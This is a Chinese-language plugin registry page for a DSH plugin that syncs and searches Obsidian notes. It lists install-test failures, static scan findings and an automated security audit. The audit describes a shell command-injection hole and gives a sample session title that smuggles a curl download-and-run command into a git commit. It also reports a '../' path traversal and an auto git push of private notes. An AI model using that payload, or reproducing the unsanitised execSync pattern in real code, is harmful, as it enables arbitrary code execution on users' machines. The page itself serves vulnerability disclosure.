安装验证:沙盒安装通过,Web 冒烟失败 (L5 failed) · 验证于 dsh 0.2.1-rc.2 · 验证日期 安装验证详情 →
功能介绍AI
在 Obsidian 知识库中按关键词搜索笔记,并将 DSH 会话幂等归档为带 YAML frontmatter 的 Markdown 笔记。
- 按需搜索 Obsidian 笔记,支持中英文 CJK bigram 分词
- 按 date+shortId 幂等归档会话到 vault/04 Archive/
- 倒排索引 60s 增量重建,零系统提示词注入
能力标签为 AI 推断或 README 规则抽取(见角标),词表受限、未经安装验证;AI = 推断,README = 原文关键词。
安装
dsh plugin --profile web add @dingpenghui/dsh-obsidian-sync安装方式: npm · 沙盒安装通过,Web 冒烟失败 (L5 failed)
验证与兼容性
按插件版本分组:每张卡是该插件版本实测过的 dsh 版本与安装兼容结论(L5 优先)。只列真测过的组合——未列出 = 未实测,不推定兼容。L1–L3 为插件级静态档(与 dsh 版本无关,各 dsh 行同值):在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」,证据体为插件级单份、随行内「查看检查项与证据」出现,不在各版本重复存储。
External credentials(插件级):未检测到
○ 作者未声明 dsh 版本要求 —— 安装不会因版本被拒。
| 插件版本 \ dsh | dsh 0.2.1-rc.2 当前 | dsh 0.2.1-alpha.2 |
|---|---|---|
| 3.4.8 | ✗ | · |
| 3.4.7 | · | ✗ |
| v3.4.7 | · | · |
3.4.8npm失败 12026-10-21
@dingpenghui/dsh-obsidian-sync
✗dsh 0.2.1-rc.2当前2026-10-21L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • 被测插件工件: npm · @dingpenghui/dsh-obsidian-sync@3.4.8
ID: dsh-obsidian-sync-2@3.4.8@dsh0.2.1-rc.2 · 档位: l3-fullscan
签发:2026-10-21 · 有效至:2026-10-28
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
3.4.7npm失败 12026-10-18
@dingpenghui/dsh-obsidian-sync
✗dsh 0.2.1-alpha.22026-10-15L5 · 失败
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • 被测插件工件: npm · @dingpenghui/dsh-obsidian-sync@3.4.7
ID: dsh-obsidian-sync-2@3.4.7@dsh0.2.1-alpha.2 · 档位: l3-fullscan
签发:2026-10-15 · 有效至:2026-10-22
查看检查项与证据
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
v3.4.7github2026-10-14
https://github.com/Dingpenghui-good/dsh-obsidian-sync
该版本无运行时安装实测(仅静态扫描)——兼容性未知,不推定。
作者徽章
将官方徽章嵌入你的 README,展示插件的安全与安装检测状态:
`[](https://www.dsh.so/artifact/dsh-obsidian-sync-2/)`安全报告
两层自动化检查,都不是人工审核:静态扫描(逐插件规则判定)与模型驱动的动态安全审计(只覆盖静态判定 warn 及以上的插件子集,不执行插件代码)。
静态扫描 低,动态审计最高 高,按「取更严者」→ 总评级 高。
v3.4.8dsh 清单3.4.8npm2026-10-213.4.8版本一致clean · npmvet 为 AST 静态扫描(npm 发布物或 git 源码)。
静态发现(6 条)
- 严重shellExec · shell
lib/index.js:332if (execSync("git add -A && git status --porcelain", { - 严重shellExec · shell
lib/index.js:336}).trim().length > 0) execSync("git commit -m \"daily-review: " + dateStr + " 归档沉淀(" + todayFiles.length + " 篇)\" && git push", { - 严重shellExec · shell
lib/index.js:401if (execSync("git add -A && git status --porcelain", { - 严重shellExec · shell
src/index.ts:452const out = execSync('git add -A && git status --porcelain', { - 严重shellExec · shell
src/index.ts:456execSync('git commit -m "daily-review: ' + dateStr + ' 归档沉淀(' + todayFiles.length + ' 篇)" && git push', { - 严重shellExec · shell
src/index.ts:529const out = execSync('git add -A && git status --porcelain', { cwd: currentVaultPath(), timeout: 15000, encoding: 'utf-8' })
展开 3 条审计发现
- high会话标题(及 vault 中已有文件名)仅做引号转义即拼入 execSync git 命令,反引号命令替换可执行
lib/index.jssanitizeTitleForFilename 只剥离斜杠、引号、竖线与括号,未剥离反引号、'$'、';'、'&';这些字符在双引号内对 shell 仍然有效。标题如 fix `curl${IFS}x -o/tmp/y;sh${IFS}/tmp/y` bug 会生成含命令替换的文件名,git 运行前即被执行,从而以 DSH 进程身份执行任意命令。即使模型不配合,只要 04-Archive 中已有符合 date-shortId 前缀的恶意文件名,同一 sink 同样可达。execSync 位于 try/catch 内,失败被静默,仅在结果中显示 'git: failed: ...'。
- mediumobsidian_read_note 将用户路径直接拼到 vault 根,未校验 '../',可读取 vault 之外文件
lib/index.js仅归一化前导斜杠与反斜杠,'..' 段被保留,因此 '../../AppData/Roaming/...' 之类的路径会解析到 vault 之外。整份文件(frontmatter 加全文,无大小上限)被返回给模型,可随会话外泄。可达性取决于 dsh-fs 服务是否接受该解析目标,考虑到同一插件已为 vault 写入申请 danger-full-access,这种可能性是存在的。
- low60 秒轮询在无人值守下对整库执行 'git add -A && git commit && git push'
lib/index.js每日 22:00 / 每周日,插件会把 vault 中所有改动(含无关编辑与未跟踪文件)加入暂存并推送到配置的远端,且不经确认;若远端为公开或共享仓库,私人笔记会被静默外发。该行为在 locale 提示文案中已披露,因此属于授权/范围缺口而非隐蔽通道。
宿主插件以 danger-full-access 写 vault,并把由标题派生的路径拼入 execSync('git commit ...'),存在 shell 命令注入;obsidian_read_note 亦缺少 ../ 穿越校验。
口径:动态审计只会把风险往严重里判,不会把风险降下来(只升不降,不构成豁免);模型判错时由人工复核撤回,撤回后回到静态判定。合并判定 = 两层中更严的那一个。
免责声明:静态扫描与动态安全审计都是自动化分析,不构成安全保证。安装前请自行审查。
活跃度
最近提交 2026-10-18 · 活跃度:活跃
• 仓库创建: 2026-09-03
• 星标: ★ 1 · 复刻: 0
• 健康度: 活跃 — 近 30 天有提交
来源
作者 README
GitHub 原文 ↗展示作者仓库中的原始 README 内容,实时抓取、未做改写;优先加载中文版(README.zh-CN.md 等),无中文版时回退英文。
